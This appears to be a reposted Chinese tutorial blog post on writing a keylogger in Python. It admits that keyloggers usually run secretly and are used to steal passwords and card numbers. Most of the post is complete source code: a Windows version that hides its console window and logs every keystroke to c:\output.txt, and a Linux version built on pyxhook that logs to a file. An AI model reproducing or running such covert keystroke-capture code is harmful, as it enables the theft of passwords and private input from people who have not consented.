分享

用Python设计键盘记录器

 江海博览 2024-05-17 发布于浙江
少儿编程Prog61
少儿编程Prog61
2020-06-01 19:52
用Python设计键盘记录器

击键记录(或键盘捕获),是记录键盘上击键的动作,通常是秘密的,这样使用键盘的人就不知道他们的动作正在被监视。

在IT组织中,keylogger用于解决计算机和业务网络的技术问题。家庭和商业人士合法地使用键盘记录器来监视网络使用情况。然而,恶意的人可以使用公共计算机上的密钥记录器窃取密码或信用卡信息。

本文演示了为windows和linux设计键盘记录器。

Windows键盘记录器

下载python库

1) pywin32(http://www.lfd./~gohlke/pythonlibs/#pywin32)2) pyhook(http://www.lfd./~gohlke/pythonlibs/#pyhook)

以下是在python中创建键盘记录程序的代码

# Python code for keylogger # to be used in windows import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #open output.txt to read current keystrokes f = open('c:\output.txt', 'r+') buffer = f.read() f.close() # open output.txt to write current + new keystrokes f = open('c:\output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = '/n' buffer += keylogs f.write(buffer) f.close() # create a hook manager object hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()

将文件另存为Keylogger.py并运行python文件。

输出

键盘记录器将在后台启动,并将所有数据保存在日志文件“c:\ output.txt”中。

Linux中的键盘记录器

pyxhook需要python-xlib。 如果尚未安装,请先安装。

sudo apt-get install python-xlib

下载pyxhook库(
https://github.com/JeffHoogland/pyxhook/blob/master/pyxhook.py)

# Python code for keylogger # to be used in linux import os import pyxhook # This tells the keylogger where the log file will go. # You can set the file path as an environment variable ('pylogger_file'), # or use the default ~/Desktop/file.log log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log') ) # Allow setting the cancel key from environment args, Default: ` cancel_key = ord( os.environ.get( 'pylogger_cancel', '`' )[0] ) # Allow clearing the log file on start, if pylogger_clean is defined. if os.environ.get('pylogger_clean', None) is not None: try: os.remove(log_file) except EnvironmentError: # File does not exist, or no permissions. pass #creating key pressing event and saving it into log file def OnKeyPress(event): with open(log_file, 'a') as f: f.write('{}\n'.format(event.Key)) # create a hook manager object new_hook = pyxhook.HookManager() new_hook.KeyDown = OnKeyPress # set the hook new_hook.HookKeyboard() try: new_hook.start() # start the hook except KeyboardInterrupt: # User cancelled from command line. pass except Exception as ex: # Write exceptions to the log file, for analysis later. msg = 'Error while catching events:\n {}'.format(ex) pyxhook.print_err(msg) with open(log_file, 'a') as f: f.write('\n{}'.format(msg))

输出

键盘记录器将在后台启动,并将所有数据保存在文件“
/home/akash/Desktop/file.log”中。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多